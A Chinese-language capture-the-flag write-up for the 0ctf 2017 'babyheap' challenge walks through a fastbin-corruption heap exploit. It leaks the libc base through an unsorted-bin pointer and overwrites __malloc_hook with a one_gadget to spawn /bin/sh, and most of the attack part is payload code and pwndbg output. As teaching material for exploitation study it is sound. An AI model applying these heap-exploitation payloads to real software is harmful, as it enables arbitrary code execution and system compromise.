• 0ctf2017 pwn babyheap


    题目:http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html

    0x00:运行程序

    user@ubuntu:~/workspace/pwn$ ./0ctfbabyheap 
    ===== Baby Heap in 2017 =====
    1. Allocate
    2. Fill
    3. Free
    4. Dump
    5. Exit
    Command: Alarm clock

     

     

    0x01:IDA分析

    1、Allocate函数:

    这个函数通过calloc可以申请大小0x1000以内的内存。

    看得出每次在最后会有一个类似的结构体如下:

    struct heap
    {
        signed int flag;    //标记是否被分配
        signed int size;    //请求申请的大小
        void* chunk_m;    //chunk的mem值
    }
    

    2、Fill函数

     在Fill这个函数中看到,并未检查请求填充数据的大小,大小由用户决定,存在堆溢出。

    3、Free函数,释放对应Index的堆块

    4、Dump函数,打印对应Index堆块里的内容

     

    0x02:checksec

    user@ubuntu:~/workspace/pwn$ file 0ctfbabyheap 
    0ctfbabyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
    user@ubuntu:~/workspace/pwn$ checksec 0ctfbabyheap 
    [*] '/home/user/workspace/pwn/0ctfbabyheap'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

    保护全开。

    由于保护全开,但是又可以任意长度堆溢出,所以可以泄漏libc的基地址,在malloc_hook处触发执行getshell。

    0x03:泄漏libc基地址

    原理:当small chunk被释放后,进入到unsorted bin。它的fd和bk指针会指向同一个地址(unsorted bin链表的头部),这个地址相对main_arena + 0x58,而且main_arena又相对libc固定偏移(0x3c4b20),所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。

     所以重点是能读到small chunk被释放后的fd指针的值。

    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x80)
     
    free(1)
    free(2)
     
    payload = p64(0)*3
    payload += p64(0x21)
    payload += p64(0)*3
    payload += p64(0x21)
    payload += p8(0x80)
    fill(0, payload)
     
    payload = p64(0)*3
    payload += p64(0x21)
    fill(3, payload)
     
    alloc(0x10)
    alloc(0x10)
     
    payload = p64(0)*3
    payload += p64(0x91)
    fill(3, payload)
    alloc(0x80)
    free(4)
     
    libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
    log.info("libc_base: "+hex(libc_base))

    1、释放index 1的堆

    
    
    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x80)
    free(1)

    ==================================================
    pwndbg
    > heap Top Chunk: 0x555555757110 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN {       //free prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 PREV_INUSE { prev_size = 0x0, size = 0x20ef1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x555555757020 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

    2、释放index 2的堆

    free(2)
    
    ============================================
    pwndbg
    > heap Top Chunk: 0x555555757110 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN {      //free prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN {      //free prev_size = 0x0, size = 0x21, fd = 0x555555757020, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 PREV_INUSE { prev_size = 0x0, size = 0x20ef1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x555555757040 —▸ 0x555555757020 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

    由上可以看出新释放的这个堆(index 2)插入到fastbin的头部,而前面被释放的这个堆(index 1)成为这个新释放的堆(index 2)的fd里的值。

    3、通多堆溢出改变index 2 的fd的值,让他指向index 4这个堆

    payload = p64(0)*3
    payload += p64(0x21)
    payload += p64(0)*3
    payload += p64(0x21)
    payload += p8(0x80)
    fill(0, payload)

    堆的布局:

    填充前:

    pwndbg> x/32gx 0x555555757000
    0x555555757000:    0x0000000000000000    0x0000000000000021
    0x555555757010:    0x0000000000000000    0x0000000000000000
    0x555555757020:    0x0000000000000000    0x0000000000000021
    0x555555757030:    0x0000000000000000    0x0000000000000000
    0x555555757040:    0x0000000000000000    0x0000000000000021
    0x555555757050:    0x0000555555757020    0x0000000000000000
    0x555555757060:    0x0000000000000000    0x0000000000000021
    0x555555757070:    0x0000000000000000    0x0000000000000000
    0x555555757080:    0x0000000000000000    0x0000000000000091
    0x555555757090:    0x0000000000000000    0x0000000000000000
    0x5555557570a0:    0x0000000000000000    0x0000000000000000
    0x5555557570b0:    0x0000000000000000    0x0000000000000000
    0x5555557570c0:    0x0000000000000000    0x0000000000000000
    0x5555557570d0:    0x0000000000000000    0x0000000000000000
    0x5555557570e0:    0x0000000000000000    0x0000000000000000
    0x5555557570f0:    0x0000000000000000    0x0000000000000000

    填充后:

    pwndbg> x/32gx 0x555555757000
    0x555555757000:    0x0000000000000000    0x0000000000000021
    0x555555757010:    0x0000000000000000    0x0000000000000000
    0x555555757020:    0x0000000000000000    0x0000000000000021
    0x555555757030:    0x0000000000000000    0x0000000000000000
    0x555555757040:    0x0000000000000000    0x0000000000000021
    0x555555757050:    0x0000555555757080    0x0000000000000000
    0x555555757060:    0x0000000000000000    0x0000000000000021
    0x555555757070:    0x0000000000000000    0x0000000000000000
    0x555555757080:    0x0000000000000000    0x0000000000000091
    0x555555757090:    0x0000000000000000    0x0000000000000000
    0x5555557570a0:    0x0000000000000000    0x0000000000000000
    0x5555557570b0:    0x0000000000000000    0x0000000000000000
    0x5555557570c0:    0x0000000000000000    0x0000000000000000
    0x5555557570d0:    0x0000000000000000    0x0000000000000000
    0x5555557570e0:    0x0000000000000000    0x0000000000000000
    0x5555557570f0:    0x0000000000000000    0x0000000000000000


    pwndbg> bins
    fastbins
    0x20: 0x555555757040 —▸ 0x555555757080 ◂— 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty

    4、改掉index 4这个堆的size域的值,以便接下来malloc到它的时候,能过malloc的检查机制。

    malloc的安全检查:

    if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
        errstr = "malloc(): memory corruption (fast)";
    errout:
        malloc_printerr (check_action, errstr, chunk2mem (victim), av);
        return NULL;
    }

    chunksize 的计算方法是 victim->size & ~(SIZE_BITS))

    index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2,SIZE_SZ 是8

    意思就是在对应的fastbin_index上的这个chunk 的size域要和这个index相匹配。

    即是:现在我们把它放到了0x20这个大小的fastbin上,要把它的size改成0x20才能正常calloc。(最开始的时候index 4的堆我们申请大小是0x80)

    payload = p64(0)*3
    payload += p64(0x21)
    fill(3, payload)

    修改前:

    pwndbg> x/32gx 0x555555757000
    0x555555757000:    0x0000000000000000    0x0000000000000021
    0x555555757010:    0x0000000000000000    0x0000000000000000
    0x555555757020:    0x0000000000000000    0x0000000000000021
    0x555555757030:    0x0000000000000000    0x0000000000000000
    0x555555757040:    0x0000000000000000    0x0000000000000021
    0x555555757050:    0x0000555555757080    0x0000000000000000
    0x555555757060:    0x0000000000000000    0x0000000000000021
    0x555555757070:    0x0000000000000000    0x0000000000000000
    0x555555757080:    0x0000000000000000    0x0000000000000091
    0x555555757090:    0x0000000000000000    0x0000000000000000
    0x5555557570a0:    0x0000000000000000    0x0000000000000000
    0x5555557570b0:    0x0000000000000000    0x0000000000000000
    0x5555557570c0:    0x0000000000000000    0x0000000000000000
    0x5555557570d0:    0x0000000000000000    0x0000000000000000
    0x5555557570e0:    0x0000000000000000    0x0000000000000000
    0x5555557570f0:    0x0000000000000000    0x0000000000000000

    修改后:

    pwndbg> x/32gx 0x555555757000
    0x555555757000:    0x0000000000000000    0x0000000000000021
    0x555555757010:    0x0000000000000000    0x0000000000000000
    0x555555757020:    0x0000000000000000    0x0000000000000021
    0x555555757030:    0x0000000000000000    0x0000000000000000
    0x555555757040:    0x0000000000000000    0x0000000000000021
    0x555555757050:    0x0000555555757080    0x0000000000000000
    0x555555757060:    0x0000000000000000    0x0000000000000021
    0x555555757070:    0x0000000000000000    0x0000000000000000
    0x555555757080:    0x0000000000000000    0x0000000000000021
    0x555555757090:    0x0000000000000000    0x0000000000000000
    0x5555557570a0:    0x0000000000000000    0x0000000000000000
    0x5555557570b0:    0x0000000000000000    0x0000000000000000
    0x5555557570c0:    0x0000000000000000    0x0000000000000000
    0x5555557570d0:    0x0000000000000000    0x0000000000000000
    0x5555557570e0:    0x0000000000000000    0x0000000000000000
    0x5555557570f0:    0x0000000000000000    0x0000000000000000

    5、

    alloc(0x10)
    alloc(0x10)

    5.1 再次alloc(0x10)

    alloc(0x10)
    ====================================

    pwndbg> bins fastbins 0x20: 0x555555757080 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins

    因为fastbin是单链表结构,且采用FILO结构,所以现在重新alloc(0x20)时,index 1的chunk_m是 最 近 被释放的fast chunk(0x555555757040)的mem (0x555555757050)

    pwndbg> x/32gx 0x110c5115e010
    0x110c5115e010:    0x0000000000000001    0x0000000000000010
    0x110c5115e020:    0x0000555555757010    0x0000000000000001
    0x110c5115e030:    0x0000000000000010    0x0000555555757050
    0x110c5115e040:    0x0000000000000000    0x0000000000000000
    0x110c5115e050:    0x0000000000000000    0x0000000000000001
    0x110c5115e060:    0x0000000000000010    0x0000555555757070
    0x110c5115e070:    0x0000000000000001    0x0000000000000080
    0x110c5115e080:    0x0000555555757090    0x0000000000000000

    6.2再再次alloc(0x10)

    alloc(0x10)
    ====================================

    pwndbg> heap Top Chunk: 0x555555757110 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570a0 { prev_size = 0x0, size = 0x0, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

    pwndbg> x/32gx 0x110c5115e010              查看结构体内存
    0x110c5115e010: 0x0000000000000001 0x0000000000000010
    0x110c5115e020: 0x0000555555757010 0x0000000000000001
    0x110c5115e030: 0x0000000000000010 0x0000555555757050
    0x110c5115e040: 0x0000000000000001 0x0000000000000010
    0x110c5115e050: 0x0000555555757090 0x0000000000000001
    0x110c5115e060: 0x0000000000000010 0x0000555555757070
    0x110c5115e070: 0x0000000000000001 0x0000000000000080
    0x110c5115e080: 0x0000555555757090 0x0000000000000000
    0x110c5115e090: 0x0000000000000000 0x0000000000000000
    0x110c5115e0a0: 0x0000000000000000 0x0000000000000000
    0x110c5115e0b0: 0x0000000000000000 0x0000000000000000
    0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
    0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
    0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
    0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
    0x110c5115e100: 0x0000000000000000 0x0000000000000000

     

    再再次alloc(0x10)后,index 2的堆块的地址就已经和index 4堆块的地址一样了。这里现在是chunk的mem处,等index 4被free后,这里就是fd 字段了,之后便能通过dump index 2来泄漏index 4的fd内容了。

    7、将index 4的size字段改回去,让他以small chunk被free掉

    payload = p64(0)*3
    payload += p64(0x91)
    fill(3, payload)
    alloc(0x80)
    free(4)

    7.1通过堆溢出来改变index 4的size字段:

    填充前:

    pwndbg> x/32gx 0x555555757000
    0x555555757000:    0x0000000000000000    0x0000000000000021
    0x555555757010:    0x0000000000000000    0x0000000000000000
    0x555555757020:    0x0000000000000000    0x0000000000000021
    0x555555757030:    0x0000000000000000    0x0000000000000000
    0x555555757040:    0x0000000000000000    0x0000000000000021
    0x555555757050:    0x0000000000000000    0x0000000000000000
    0x555555757060:    0x0000000000000000    0x0000000000000021
    0x555555757070:    0x0000000000000000    0x0000000000000000
    0x555555757080:    0x0000000000000000    0x0000000000000021
    0x555555757090:    0x0000000000000000    0x0000000000000000
    0x5555557570a0:    0x0000000000000000    0x0000000000000000
    0x5555557570b0:    0x0000000000000000    0x0000000000000000
    0x5555557570c0:    0x0000000000000000    0x0000000000000000
    0x5555557570d0:    0x0000000000000000    0x0000000000000000
    0x5555557570e0:    0x0000000000000000    0x0000000000000000
    0x5555557570f0:    0x0000000000000000    0x0000000000000000

    填充后:

    pwndbg> x/32gx 0x555555757000
    0x555555757000:    0x0000000000000000    0x0000000000000021
    0x555555757010:    0x0000000000000000    0x0000000000000000
    0x555555757020:    0x0000000000000000    0x0000000000000021
    0x555555757030:    0x0000000000000000    0x0000000000000000
    0x555555757040:    0x0000000000000000    0x0000000000000021
    0x555555757050:    0x0000000000000000    0x0000000000000000
    0x555555757060:    0x0000000000000000    0x0000000000000021
    0x555555757070:    0x0000000000000000    0x0000000000000000
    0x555555757080:    0x0000000000000000    0x0000000000000091
    0x555555757090:    0x0000000000000000    0x0000000000000000
    0x5555557570a0:    0x0000000000000000    0x0000000000000000
    0x5555557570b0:    0x0000000000000000    0x0000000000000000
    0x5555557570c0:    0x0000000000000000    0x0000000000000000
    0x5555557570d0:    0x0000000000000000    0x0000000000000000
    0x5555557570e0:    0x0000000000000000    0x0000000000000000
    0x5555557570f0:    0x0000000000000000    0x0000000000000000

    pwndbg> heap
    Top Chunk: 0x555555757110
    Last Remainder: 0

    0x555555757000 FASTBIN {
    prev_size = 0x0,
    size = 0x21,
    fd = 0x0,
    bk = 0x0,
    fd_nextsize = 0x0,
    bk_nextsize = 0x21
    }
    0x555555757020 FASTBIN {
    prev_size = 0x0,
    size = 0x21,
    fd = 0x0,
    bk = 0x0,
    fd_nextsize = 0x0,
    bk_nextsize = 0x21
    }
    0x555555757040 FASTBIN {
    prev_size = 0x0,
    size = 0x21,
    fd = 0x0,
    bk = 0x0,
    fd_nextsize = 0x0,
    bk_nextsize = 0x21
    }
    0x555555757060 FASTBIN {
    prev_size = 0x0,
    size = 0x21,
    fd = 0x0,
    bk = 0x0,
    fd_nextsize = 0x0,
    bk_nextsize = 0x91
    }
    0x555555757080 PREV_INUSE {
    prev_size = 0x0,
    size = 0x91,
    fd = 0x0,
    bk = 0x0,
    fd_nextsize = 0x0,
    bk_nextsize = 0x0
    }
    0x555555757110 PREV_INUSE {
    prev_size = 0x0,
    size = 0x20ef1,
    fd = 0x0,
    bk = 0x0,
    fd_nextsize = 0x0,
    bk_nextsize = 0x0
    }

    7.2 alloc(0x80)  再分配一个small chunk,这是为了,之后free index 4这个堆块的时候,不要被合并进top chunk 而把他放到unsorted bin中去、

    这时如果把他free掉,他的fd指针会被设置为指向unsorted bin链表的头部。

    pwndbg> heap 
    Top Chunk: 0x5555557571a0
    Last Remainder: 0
    
    0x555555757000 FASTBIN {
      prev_size = 0x0, 
      size = 0x21, 
      fd = 0x0, 
      bk = 0x0, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x21
    }
    0x555555757020 FASTBIN {
      prev_size = 0x0, 
      size = 0x21, 
      fd = 0x0, 
      bk = 0x0, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x21
    }
    0x555555757040 FASTBIN {
      prev_size = 0x0, 
      size = 0x21, 
      fd = 0x0, 
      bk = 0x0, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x21
    }
    0x555555757060 FASTBIN {
      prev_size = 0x0, 
      size = 0x21, 
      fd = 0x0, 
      bk = 0x0, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x91
    }
    0x555555757080 PREV_INUSE {
      prev_size = 0x0, 
      size = 0x91, 
      fd = 0x7ffff7dd1b78 <main_arena+88>, 
      bk = 0x7ffff7dd1b78 <ma  in_arena+88>, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }
    0x555555757110 {
      prev_size = 0x90, 
      size = 0x90, 
      fd = 0x0, 
      bk = 0x0, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }
    0x5555557571a0 PREV_INUSE {
      prev_size = 0x0, 
      size = 0x20e61, 
      fd = 0x0, 
      bk = 0x0, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }
    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555757080 ◂— 0x7ffff7dd1b78
    smallbins
    empty
    largebins
    empty

    现在被free掉的这个index 4的堆块的fd指针被设置为指向unsorted bin链表的头部,这个地址相对main_arena偏移0x58,且main_arena在libc中,相对位置固定,这样就能算出libc被加载的地址。

    8、dump index 2的堆块读出fd的值

    libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
    log.info("libc_base: "+hex(libc_base))

    由6.2处已成功让index 2的已成功设置成index 4这个堆块,现在index 4被释放,这里是fd,里面存的是unsorted bin的链表的头部。把他dump出来再减去0x58再减去0x3C4B20

    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
        ......0x555555757000     0x555555778000 rw-p    21000 0      [heap]
        0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
        0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
        0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
        0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
        ......
    pwndbg> p &main_arena
    $30 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena>
    pwndbg> 

    0x7ffff7dd1b20 - 0x7ffff7a0d000 = 0x3C4B20

    0x04:getshell

    这里可以用 __malloc_hook ,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller) ,当调用 malloc() 时,如果__malloc_hook不为空则调用指向的这个函数。所以这里我们传入一个 one-gadget。

    one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。知道 libc 的版本,并且可以通过信息泄露得到 libc 的基地址,则可以通过控制EIP 执行该 gadget 来获得 shell。

    alloc(0x60)
    free(4)
     
    payload = p64(libc_base+0x3c4aed)
    fill(2, payload)
     
    alloc(0x60)
    alloc(0x60)
     
    payload = p8(0)*3
    payload += p64(0)*2
    payload += p64(libc_base+0x4526a)
    fill(6, payload)
     
    alloc(255)

    所以这里关键在于怎么把gadget写到__malloc_hook处。

    __malloc_hook相对libc偏移0x3c4b10  (__malloc_hook在main_arena上面)

    user@ubuntu:/lib/x86_64-linux-gnu$ readelf -s libc.so.6 | grep __malloc_hook
      1088: 00000000003c4b10     8 OBJECT  WEAK   DEFAULT   33 __malloc_hook@@GLIBC_2.2.5

    pwndbg> x/10gx 0x7FFFF7DD1B00
    0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
    0x7ffff7dd1b10 <__malloc_hook>:   0x0000000000000000 0x0000000000000000
    0x7ffff7dd1b20 <main_arena>:      0x0000000000000000 0x0000000000000000
    0x7ffff7dd1b30 <main_arena+16>:   0x0000000000000000 0x0000000000000000
    0x7ffff7dd1b40 <main_arena+32>:   0x0000000000000000 0x0000000000000000
    pwndbg> x/10gx 0x7FFFF7DD1B00

    这里需要地址偏移,构造一个fake chunk,让其size域在0x10~0x80里,构造一个fastchunk,上面看出刚好有7f,合适的偏移让其在size域

    wndbg> x/10gx 0x7FFFF7DD1aed
    0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
    0x7ffff7dd1afd:               0xfff7a92e20000000 0xfff7a92a0000007f
    0x7ffff7dd1b0d <__realloc_hook+5>:    0x000000000000007f 0x0000000000000000
    0x7ffff7dd1b1d:               0x0000000000000000 0x0000000000000000
    0x7ffff7dd1b2d <main_arena+13>:      0x0000000000000000 0x0000000000000000

    0x7ffff7dd1aed - 0x7ffff7a0d000 = 0x3C4AED

    还是利用fastbin单链表且FILO的机制进行设置

    1、

    alloc(0x60)
    free(4)
    alloc(0x60)   #Index 4

    ============================================

    pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 0x5555557570f0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x71 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x71, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570f0 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7ffff7dd1b78 <main_arena+88>, fd_nextsize = 0x20, bk_nextsize = 0x90 } 0x555555757110 { prev_size = 0x20, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins A syntax error in expression, near `.'. fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78 smallbins empty largebins empty
    free(4)
    =======================================================

    pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 0x5555557570f0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x71 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x71, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570f0 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7ffff7dd1b78 <main_arena+88>, fd_nextsize = 0x20, bk_nextsize = 0x90 } 0x555555757110 { prev_size = 0x20, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555757080 ◂— 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78 smallbins empty largebins empty

    2、

    payload = p64(libc_base+0x3c4aed)
    fill(2, payload)

    通过index 2堆块的fd,改写index 4的成在前面找好的那个偏移地址(这个地址相对于libc基地址偏移0x3C4AED)

    填充后:

    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x555555757080 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000
    0x80: 0x0
    unsortedbin
    all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78
    smallbins
    empty
    largebins
    empty
    pwndbg> p main_arena

    这样我们第二次malloc 的0x70大小(这是包括了chunk header之后的大小,malloc()实际参数应该是0x60)的堆块是的地址是0x7ffff7dd1aed

    3、获得指向__malloc_hook的地址

    alloc(0x60)
    alloc(0x60)

    ===========================================

    pwndbg> x/32gx 0x110c5115e010
    0x110c5115e010: 0x0000000000000001 0x0000000000000010
    0x110c5115e020: 0x0000555555757010 0x0000000000000001
    0x110c5115e030: 0x0000000000000010 0x0000555555757050
    0x110c5115e040: 0x0000000000000001 0x0000000000000010
    0x110c5115e050: 0x0000555555757090 0x0000000000000001
    0x110c5115e060: 0x0000000000000010 0x0000555555757070
    0x110c5115e070: 0x0000000000000001 0x0000000000000060
    0x110c5115e080: 0x0000555555757090 0x0000000000000001
    0x110c5115e090: 0x0000000000000080 0x0000555555757120
    0x110c5115e0a0: 0x0000000000000001 0x0000000000000060
    0x110c5115e0b0: 0x00007ffff7dd1afd 0x0000000000000000
    0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
    0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
    0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
    0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
    0x110c5115e100: 0x0000000000000000 0x0000000000000000

    4、改写_malloc_hook处的内容,让其指向one-gadget(需要多试几下)

    payload = p8(0)*3
    payload += p64(0)*2
    payload += p64(libc_base+0x4526a)
    fill(6, payload)

    可以使用工具 one_gadget 很方便地查找 one-gadget。

    user@ubuntu:~/workspace/pwn$ one_gadget -f /lib/x86_64-linux-gnu/libc.so.6
    0x45216    execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x4526a    execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    0xf02a4    execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL
    
    0xf1147    execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    

    gadget要多试几下

    填充前:

    pwndbg> x/10gx 0x00007ffff7dd1aed
    0x7ffff7dd1aed <_IO_wide_data_0+301>:    0xfff7dd0260000000    0x000000000000007f
    0x7ffff7dd1afd:                  0xfff7a92e20000000    0xfff7a92a0000007f
    0x7ffff7dd1b0d <__realloc_hook+5>:       0x000000000000007f    0x0000000000000000
    0x7ffff7dd1b1d:                  0x0000000000000000    0x0000000000000000
    0x7ffff7dd1b2d <main_arena+13>:         0x0000000000000000    0x0000000000000000
    pwndbg> 

    填充后:

    pwndbg> x/32gx 0x7ffff7dd1b00
    0x7ffff7dd1b00 <__memalign_hook>:    0x0000000000000000    0x0000000000000000
    0x7ffff7dd1b10 <__malloc_hook>:    0x00007ffff7a5226a    0x0000000000000000
    0x7ffff7dd1b20 <main_arena>:    0x0000000000000000    0x0000000000000000
    0x7ffff7dd1b30 <main_arena+16>:    0x0000000000000000    0x0000000000000000
    0x7ffff7dd1b40 <main_arena+32>:    0x0000000000000000    0x0000000000000000
